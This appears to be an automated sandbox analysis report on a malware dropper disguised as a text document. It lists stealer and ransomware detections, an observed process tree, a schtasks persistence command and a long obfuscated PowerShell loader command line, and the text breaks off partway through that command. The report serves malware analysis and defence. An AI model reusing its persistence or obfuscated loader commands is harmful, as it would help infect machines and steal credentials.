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Windows
Analysis Report
New_Text_Document_mod.exse.exe
Overview
General Information
Detection
AgentTesla, Amadey, Creal Stealer, Djvu, FormBook, Glupteba, GuLoader
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected AgentTesla
Yara detected Amadey
Yara detected Amadeys stealer DLL
Yara detected AntiVM3
Yara detected Creal Stealer
Yara detected Djvu Ransomware
Yara detected FormBook
Yara detected Glupteba
Yara detected GuLoader
.NET source code contains potential unpacker
.NET source code contains very large strings
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Creates an undocumented autostart registry key
Drops PE files to the startup folder
Found Tor onion address
Found suspicious powershell code related to unpacking or dynamic code loading
Infects executable files (exe, dll, sys, html)
Initial sample is a PE file and has a suspicious name
Injects a PE file into a foreign processes
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies existing user documents (likely ransomware behavior)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Sample has a suspicious name (potential lure to open the executable)
Sample uses process hollowing technique
Sample uses string decryption to hide its real strings
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses schtasks.exe or at.exe to add and modify task schedules
Very long command line found
Writes many files with high entropy
Writes to foreign memory regions
Yara detected Generic Downloader
Adds / modifies Windows certificates
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Connects to several IPs in different countries
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
One or more processes crash
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Stores files to the Windows start menu directory
Tries to load missing DLLs
Uses SMTP (mail sending)
Uses a known web browser user agent for HTTP communication
Uses cacls to modify the permissions of files
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
- New_Text_Document_mod.exse.exe (PID: 7128 cmdline:
C:\Users\u ser\Deskto p\New_Text _Document_ mod.exse.e xe MD5: 69994FF2F00EECA9335CCD502198E05B) - conhost.exe (PID: 7148 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - spfasiazx.exe (PID: 6360 cmdline:
"C:\Users\ user\Deskt op\a\spfas iazx.exe" MD5: ABA50AE31C5DF3EA0C2394C93D423AFE) - spfasiazx.exe (PID: 5480 cmdline:
C:\Users\u ser\Deskto p\a\spfasi azx.exe MD5: ABA50AE31C5DF3EA0C2394C93D423AFE) - WerFault.exe (PID: 7276 cmdline:
C:\Windows \SysWOW64\ WerFault.e xe -u -p 5 480 -s 860 MD5: C31336C1EFC2CCB44B4326EA793040F2) - build3.exe (PID: 7352 cmdline:
"C:\Users\ user\Deskt op\a\build 3.exe" MD5: 0099A99F5FFB3C3AE78AF0084136FAB3) - schtasks.exe (PID: 7404 cmdline:
"C:\Window s\System32 \schtasks. exe" /Crea te /SC MIN UTE /MO 1 /TN build3 .exe /TR " C:\Users\u ser\Deskto p\a\build3 .exe" /F MD5: 48C2FE20575769DE916F48EF0676A965) - conhost.exe (PID: 7412 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - e0cbefcb1af40c7d4aff4aca26621a98.exe (PID: 7788 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\100008 3001\e0cbe fcb1af40c7 d4aff4aca2 6621a98.ex e" MD5: F5F2EAC1231BBE457FEDD8AD2337F48C) - powershell.exe (PID: 7304 cmdline:
powershell -nologo - noprofile MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 7368 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - e0cbefcb1af40c7d4aff4aca26621a98.exe (PID: 5284 cmdline:
C:\Users\u ser\AppDat a\Local\Te mp\1000083 001\e0cbef cb1af40c7d 4aff4aca26 621a98.exe MD5: F5F2EAC1231BBE457FEDD8AD2337F48C) - powershell.exe (PID: 1184 cmdline:
powershell -nologo - noprofile MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 5304 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - alex.exe (PID: 7604 cmdline:
"C:\Users\ user\Deskt op\a\alex. exe" MD5: 794FC2DA25B437BA1F88C2276B336C4D) - RegSvcs.exe (PID: 7664 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegS vcs.exe MD5: 9D352BC46709F0CB5EC974633A0C3C94) - wlanext.exe (PID: 7744 cmdline:
"C:\Users\ user\Deskt op\a\wlane xt.exe" MD5: C810E663DD2ADA28C1BB8EE928F1372F) - powershell.exe (PID: 7804 cmdline:
C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.exe" - windowstyl e minimize d $fe32 = Get-Conten t 'C:\User s\user\App Data\Local \Temp\daem onisk\prve lsens\none clecticall y\Recife\O pfindendes \Perlemore t\Servitud es\Margari nes.Pos' ; powershel l.Exe "$fe 32 MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 7812 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 8068 cmdline:
C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.exe" " <#Radiosen sitivities Outerwear Opsigelse saftalerne s Spaanlst Afstrmnin gens Drose ra Polytei sterne #>$ Specterlik es = """He ;udFMauMen RecLetUniB aoFonMa Sp VmaAAnR p5 Co3Th Ef{E s An Sy X UnpHuaIdrS iaComLa(Bi [ PSAutPhr BiHunShgS k]Mi`$StET etCyaLegls eLerOvnSne RsStiUnt RrFaeKlr P eSl2Ca4ba) Ub; F yd`$ PaSkloMilF ocSmrDeein mDye Tr Nn BieUn S=Ad S`$AkEDat SpaRogCheS cr Ln He L s Si ItHir FeeUnrRyeA r2 S4Sp.br LLoeUnnHag bat EhSu; K A Pl do Ph`$ImL Eo TatSeuJas ObKolHuo K mSisSktOpe En AsWe7V i3Da P=Re CaNDae MwF o- COUnbBa jfieUncSat di RsbGry BtFreDe[Ty ] A Rd(Tf` $ SS AoInl GecEnrTjeM amUneStrSt nPaeVa Li/ Ja Fo2Al)A t;Te up`$S vPbeoSowDr s V= S'PrS GUUn' S+P r'ArBKoSIs TReRTeI BN PlGPr'Ne;R e I Pr Fr DrFAko FrB u( R`$DeS QtCoaIskAk i FtStt Pe Trrcrt ToI nm PtAreDe o BrOpiLys He= S0se;P o Zo`$KoST otDeaDakIn iHjt Ot Fe TrGatFioS emTjt LeSt o KrHeiWis Vu Ar-ChlL itFi Oo`$I nSTeoOvlRe cder SeSpm BaePar InR oesu;Ns No `$UnS LtSn aCikDriOct ShtSeestrJ atFloInmRe t EeSpoAcr GaimrsMe+A n=Mi2 A)Me {Pr Mo Vo Me An Ma P S Gr`$ PL ProQut AuS esDibSklch o HmTrsSlt OueEinkvs a7Ke3St[Pa `$HjS It P aAnk MiDet LstSteWorN otFooSumFu tAnesaoPlr ReiUdsKe/M i2Vi] C Ch =Sw Sy[Orc DioAcnwavE meFrrSetAs ]Kl:Kl:MeT KuoAsB byA ftKieBi(Co `$MuEPatGu aAag De Qr IlnAnefesS pi Nt Kr T eDarJeeNo2 Re4 P.Me`$ CoP ToNawM ysbr.PeIHj nElv EoHyk AneSe(Sa`$ MaS EtMaaF ek Ri CtLn tKoeeprNet PoIsm Bt HeSuo BrKn iChsBr,Ca Vr2Mi) D,i n T1Se6su) Ps;Ul Pr N e`$ BLHyo DtBuu SsTi b PlCooTum FasOntSteS enEmsmu7Sp 3Af[Fo`$ S S NtFoaFlk Kai LtDott aeVor BtUn oHem AtMae InoBlr SiI nsDe/Mo2Cr ] A U=un B s TuUnbOrs PeDiwMeeA grSe8Pr Ir `$StLOboug tLouSksvib TalDioNomH jsTotJaeSp nVasIn7 S3 Mi[Us`$NeS ptNoaKok Pi Bt Tt d eWarTatTso SmBetDeeD ioAdr Misa sEr/Br2De] Cu Re6 T4E m;bi Ma U Ho Sa} M A n[ArSFltMa r kiApnTrg Ce]Le[FoSr ayUnsPstmi eKamTa.CoT CoeFrxCotS r. PEgenOl cBeoWrdUni hinnogRe]T r:Sa:FrAka SAlCTeIChI Fr.VaGEneP rtSmSSitNo rRui TnFag Sc(Pa`$StL Reo VtRau HsNdbAllPi oMamGusInt PaeMenDes S7 V3Pu) Q ;Un} A`$Fu S ToGagPan PoeSifFooF igPre AdBu ePirStnPae Su0Am=ToVI nAfeRLi5no 3Ru Di'la1 Te3Th3En9S a3 E3Sp3Pr 4Kr2 S5 s2 BaDLa6UnEM i2Be4Tr2Sk C M2InCBa' Ko;di`$SrS Syo AgDrnP te Tfaro g gTheOpdSte SrHdnMieH y1An=SlVAa AUlR I5Me3 B R' F0Ga DBu2Hy9Ov2 S3St3 P2V i2UnFVa3Py 3Br2CoFzo2 Un6Sl3 A4m i6spE P1Fe 7 L2He9Fa2 AERa7Po3c l7 Q2Li6 F EBo1Tr5Dr2 ThE V3Re3F l2 H1Pr2Po 6De2Sk5po0 PeEDi2An1 B3 T4 C2Re 9 M3 I6 S2 Fa5Me0 IDE k2Pr5Um3Ba 4Ob2Af8di2 CFOr2Un4M o3 F3Ge' H ;To`$NeS O oAfgAun Te CafbuoUtg weDadTeeCh r AnOmeTh2 De= RV KAV iRFu5Ga3El Ca'cu0Fj7 Br2pe5in3S t4Di1Un0Ph 3Te2Kn2FoF